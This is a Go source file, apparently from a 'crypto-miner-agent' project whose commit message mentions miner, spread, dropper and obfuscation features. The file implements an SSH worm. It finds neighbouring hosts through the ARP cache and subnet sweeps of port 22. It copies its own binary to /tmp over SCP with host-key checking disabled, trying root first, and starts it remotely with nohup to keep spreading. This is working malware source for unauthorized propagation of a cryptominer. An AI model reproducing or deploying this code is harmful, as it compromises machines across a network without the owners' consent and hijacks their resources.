WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
133 lines
3.3 KiB
Go
133 lines
3.3 KiB
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"net"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
|
|
//
|
|
// Prerequisites: see deploy/subnet.go (Spread prerequisites). scp/ssh use
|
|
// BatchMode=yes — passwordless SSH with pre-placed keys is required.
|
|
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
|
if !cfg.AutoSpread {
|
|
return
|
|
}
|
|
go func() {
|
|
time.Sleep(10 * time.Minute)
|
|
ticker := time.NewTicker(4 * time.Hour)
|
|
defer ticker.Stop()
|
|
for {
|
|
spreadUnixSubnet(cfg)
|
|
<-ticker.C
|
|
}
|
|
}()
|
|
log.Printf("[autospread] Unix SSH spread module active")
|
|
}
|
|
|
|
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
|
|
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
|
go spreadUnixSubnet(cfg)
|
|
return "unix lateral spread sweep started (SSH :22)"
|
|
}
|
|
|
|
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
|
|
var spreadSem = make(chan struct{}, 16)
|
|
|
|
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
|
exePath, err := os.Executable()
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
// ARP-first: use the OS ARP cache to find live hosts without a /24 sweep.
|
|
targets := arpHosts()
|
|
|
|
// Fallback: if ARP cache has < 3 entries, probe for SSH-open hosts.
|
|
if len(targets) < 3 {
|
|
ips := getLocalIPs()
|
|
seen := make(map[string]bool)
|
|
for _, t := range targets {
|
|
seen[t] = true
|
|
}
|
|
for _, ip := range ips {
|
|
if !isIPv4(ip) {
|
|
continue // active sweep is IPv4 /24 only; see subnet.go
|
|
}
|
|
subnet := getSubnet(ip)
|
|
if subnet == "" {
|
|
continue
|
|
}
|
|
for i := 1; i < 255; i++ {
|
|
candidate, ok := ipv4SweepHost(subnet, i)
|
|
if !ok {
|
|
break
|
|
}
|
|
if candidate == ip || seen[candidate] {
|
|
continue
|
|
}
|
|
conn, connErr := net.DialTimeout("tcp", candidate+":22", 400*time.Millisecond)
|
|
if connErr == nil {
|
|
conn.Close()
|
|
seen[candidate] = true
|
|
targets = append(targets, candidate)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
localSet := make(map[string]bool)
|
|
for _, ip := range getLocalIPs() {
|
|
localSet[ip] = true
|
|
}
|
|
for _, target := range targets {
|
|
if localSet[target] {
|
|
continue
|
|
}
|
|
spreadSem <- struct{}{}
|
|
go func(t string) {
|
|
defer func() { <-spreadSem }()
|
|
attemptSSHSpread(cfg, t, exePath)
|
|
}(target)
|
|
}
|
|
}
|
|
|
|
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
|
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
|
|
if err != nil {
|
|
return
|
|
}
|
|
conn.Close()
|
|
|
|
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
|
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
|
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
|
if err := scp.Run(); err != nil {
|
|
user := os.Getenv("USER")
|
|
if user == "" {
|
|
user = "ubuntu"
|
|
}
|
|
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
|
if err := scp.Run(); err != nil {
|
|
return
|
|
}
|
|
}
|
|
|
|
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
|
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
|
if err := start.Run(); err == nil {
|
|
log.Printf("[autospread] deployed to %s via SSH", target)
|
|
}
|
|
}
|
|
|